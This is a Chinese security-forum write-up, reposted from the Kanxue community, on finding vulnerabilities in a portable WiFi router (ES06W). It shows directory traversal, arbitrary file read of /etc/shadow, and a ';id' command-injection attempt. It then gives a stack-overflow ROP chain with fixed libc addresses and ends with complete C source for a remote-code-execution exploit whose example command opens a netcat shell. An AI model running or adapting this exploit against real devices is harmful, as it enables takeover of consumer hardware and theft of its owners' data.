对一个随身WIFI设备的漏洞挖掘尝试

admin 2023年3月8日09:21:57评论22 views字数 5043阅读16分48秒阅读模式

对一个随身WIFI设备的漏洞挖掘尝试

本文为看雪论坛精华文章

看雪论坛作者ID:okCryingFish


最近买了一个随时WIFI设备,正好自己在学习漏洞挖掘,于是拿这个练练手。

设备版本信息:
software_version = V4565R03C01S61hardware_version = M2V1product_model = ES06Wupgrade_version = V4565R03C01S61

首先扫描了下设备开放的端口。设备开放了22、80、443、5555、8080、9090等多个端口。SSH爆破测试了下,密码不是弱密码没什么突破。
对一个随身WIFI设备的漏洞挖掘尝试
443、9090端口访问会返回404,可能需要其他参数,没什么突破。
对一个随身WIFI设备的漏洞挖掘尝试
设备开放了5555调试端口,可以直接通过adb连接获取设备权限。继续查找有没有其可利用的点。访问8080端口默认跳转到了http://192.168.0.1:8080/vad_update.html页面。该页面提供了设备升级、日志下载和APN设置功能。
对一个随身WIFI设备的漏洞挖掘尝试



目录遍历漏洞


查看BurpSuite历史记录,发现http://192.168.0.1/file_list.json?dir=请求比较有意思,dir指定目录,返回包返回了json格式的目录信息。
对一个随身WIFI设备的漏洞挖掘尝试
对一个随身WIFI设备的漏洞挖掘尝试
尝试通过dir参数进行目录遍历,如/file_list.json?dir=../../../../../,确认存在目录遍历漏洞。
对一个随身WIFI设备的漏洞挖掘尝试





任意文件读取漏洞


继续查看BurpSuite历史记录,发现http://192.168.0.1/apns-conf.xml请求也比较有意思,URI指定了一个文件名,返回包是文件内容。
对一个随身WIFI设备的漏洞挖掘尝试
于是尝试通过URI进行目录遍历读取文件,确认存在任意文件读取漏洞。这时利用任意文件读取漏洞可以读取到/etc/shadow的SSH密码了,可以尝试破解密码后直接使用SSH登录。
对一个随身WIFI设备的漏洞挖掘尝试





寻找命令注入漏洞


接下来准备把HTTP服务程序拿出来分析下。设备默认开启了5555端口,可以直接通过adb连接拿到设备权限。通过看看连接状态可以确定/opt/ejoin/bin/vfd就是HTTP服务程序。
对一个随身WIFI设备的漏洞挖掘尝试
对一个随身WIFI设备的漏洞挖掘尝试
/opt/ejoin/bin/vfd为32位ARM架构,定位到HTTP请求解析的代码进行分析。首先尝试寻找命令注入漏洞。但是发现vfd中没有system、popen函数,执行命令是调用的sub_C1F4函数。
对一个随身WIFI设备的漏洞挖掘尝试
sub_C1F4函数内部调用sub_12024函数,sub_12024函数内部通过调用/opt/ejoin/var/pipe/vshd程序传递参数执行命令。
对一个随身WIFI设备的漏洞挖掘尝试
于是查找引用sub_12024函数的地方,sub_12280和sub_12294都不能控制参数,只有sub_122A8函数中参数似乎是可控的。sub_122A8函数中将a1参数拼接到“cd %s”命令中执行。
对一个随身WIFI设备的漏洞挖掘尝试
对一个随身WIFI设备的漏洞挖掘尝试
继续查找引用sub_122A8函数的地方,发现只有一个地址。通过调式信息来看,传递给sub_122A8函数的a1参数为一个目录。
对一个随身WIFI设备的漏洞挖掘尝试
继续查找交叉引用,最终发现目录来自http://192.168.0.1/Uplog.html请求的filename参数。
对一个随身WIFI设备的漏洞挖掘尝试
对一个随身WIFI设备的漏洞挖掘尝试
于是构造下列请求http://192.168.0.1:8080/uplog.html?filename=/etc/passwd&fileurl=123进行测试,正好WEB页面可以下载vfd日志,从日志中看出,vfd将filename指定的路径分割出目录和文件名,并切换到相应的目录并压缩文件。
对一个随身WIFI设备的漏洞挖掘尝试
尝试构造http://192.168.0.1:8080/uplog.html?filename=/etc/;id/../../../etc/passwd&fileurl=123请求进行测试,发现代码中会对filename指向的文件是否存在进行判断,暂时没法绕过进行命令注入。
对一个随身WIFI设备的漏洞挖掘尝试





尝试找栈溢出漏洞


于是尝试查找vfd解析请求的代码中的栈溢出漏洞。发现解析http://192.168.0.1/file_list.json?dir=请求时,sub_EE48函数会将dir参数的内容拼接到栈空间s中,s只有256字节大小,这里存在一个栈溢出漏洞。
对一个随身WIFI设备的漏洞挖掘尝试
继续查找发现sub_D7A8函数在解析读取文件的请求时,直接将URI拷贝到栈空间s,s只有280字节大小,也存在栈溢出漏洞。
对一个随身WIFI设备的漏洞挖掘尝试





栈溢出漏洞利用


这里尝试对sub_D7A8函数中的栈溢出漏洞进行利用。adb连接设备后通过gdb调式vfd程序。构造如下POC发送:
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcycz

根据PC寄存器地址定位到要覆盖的返回地址偏移为261。
对一个随身WIFI设备的漏洞挖掘尝试
修改POC如下,就可以将PC寄存器劫持为指定的地址了。
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdc123DDDD
对一个随身WIFI设备的漏洞挖掘尝试
漏洞函数在返回时执行POP {R4-R7,PC},因此R4-R7寄存器也是可以控制的。
对一个随身WIFI设备的漏洞挖掘尝试
系统没有随机基址,漏洞利用较为简单,只需要避免字符串截断就行。因此直接从libc库中查找到MOV R0,SP; LDR R2,[R7]; BLX R2;指令的地址0x48d50294用来覆盖返回地址。
对一个随身WIFI设备的漏洞挖掘尝试
漏洞函数返回后,SP指向覆盖的返回地址后面,就可以通过URL的内容来控制R0寄存器指向的字符串。R2寄存器可以用R7来控制。Libc中system函数地址为0x48CEA830。找到一个指向system函数地址的指针0x48CB5FBC来控制R7寄存器。
对一个随身WIFI设备的漏洞挖掘尝试
对一个随身WIFI设备的漏洞挖掘尝试
从新构造如下POC后调式:
对一个随身WIFI设备的漏洞挖掘尝试
触发漏洞后执行到0x48d50294时,R7为控制的0x48CB5FBC。
对一个随身WIFI设备的漏洞挖掘尝试
此时SP指向用来覆盖返回地址的值后面,可以将要执行的命令拼接在URL末尾来执行命令。
对一个随身WIFI设备的漏洞挖掘尝试
执行到BLX R2指令时,R2就是system函数地址了。
对一个随身WIFI设备的漏洞挖掘尝试
测试EXP:
对一个随身WIFI设备的漏洞挖掘尝试
EXP:
// ES06W-RCE.cpp ://#include "stdafx.h"#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <WinSock2.h>#include <Windows.h>   #pragma comment(lib, "ws2_32.lib") void ShowHelp(){    printf("[+]Usage: ES06W-RCE.exe [Command]n");    printf("[+]Example: ES06W-RCE.exe "nc${IFS}-lp${IFS}4444${IFS}-e${IFS}/bin/sh"n");}  int main(int argc, char** argv){    WSADATA stcData = {};    int int_ret = 0;    char str_recv[0x1000] = {};    char str_payload_final[0x1000] = {};     //    if (argc != 2) {        ShowHelp();        return 0;    }    //    int_ret = WSAStartup(MAKEWORD(2, 2), &stcData);    if (int_ret == SOCKET_ERROR) {        printf("[-]Init Failed!n");        return 0;    }    //     char str_payload[] = {        "GET /aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHa"        "IaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbib"        "jbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTb"        "UbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccd"        "xBCx5FxCBx48"                    //Control R7        "x94x02xD5x48"                    //Return Addr        "%s"                                //Command        " HTTP/1.1rn"               "Host: 192.168.0.1:8080rn"        "Connection: keep-alivern"        "Upgrade-Insecure-Requests: 1rn"        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36rn"        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9rn"        "Accept-Encoding: gzip, deflatern"        "Accept-Language: zh-CN,zh;q=0.9rnrn"    };     sprintf_s(str_payload_final, 0x1000, str_payload, argv[1]);     //    SOCKET sock_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in sock_addr;    sock_addr.sin_family = AF_INET;    sock_addr.sin_port = htons(8080);    sock_addr.sin_addr.S_un.S_addr = inet_addr("192.168.0.1");    //    int nErrCode = 0;    int_ret = connect(sock_client, (sockaddr*)&sock_addr, sizeof(sockaddr_in));    //    send(sock_client, str_payload_final, strlen(str_payload_final), 0);    //    Sleep(20);    recv(sock_client, str_recv, sizeof(str_recv), 0);    printf("[-]Recv: %sn", str_recv);     printf("[+]Finished!n");    closesocket(sock_client);    WSACleanup();    //    return 0;}



对一个随身WIFI设备的漏洞挖掘尝试


看雪ID:okCryingFish

https://bbs.pediy.com/user-home-780653.htm

*本文由看雪论坛 okCryingFish 原创,转载请注明来自看雪社区

对一个随身WIFI设备的漏洞挖掘尝试



# 往期推荐

1.CobaltStrike ShellCode详解

2.Android APP漏洞之战——SQL注入漏洞初探

3.House of apple 一种新的glibc中IO攻击方法

4.so文件分析的一些心得

5.从PWN题NULL_FXCK中学到的glibc知识

6.指令级工具Dobby源码阅读



对一个随身WIFI设备的漏洞挖掘尝试



对一个随身WIFI设备的漏洞挖掘尝试

球分享

对一个随身WIFI设备的漏洞挖掘尝试

球点赞

对一个随身WIFI设备的漏洞挖掘尝试

球在看



对一个随身WIFI设备的漏洞挖掘尝试

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):对一个随身WIFI设备的漏洞挖掘尝试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日09:21:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对一个随身WIFI设备的漏洞挖掘尝试https://cn-sec.com/archives/1246650.html

发表评论

匿名网友 填写信息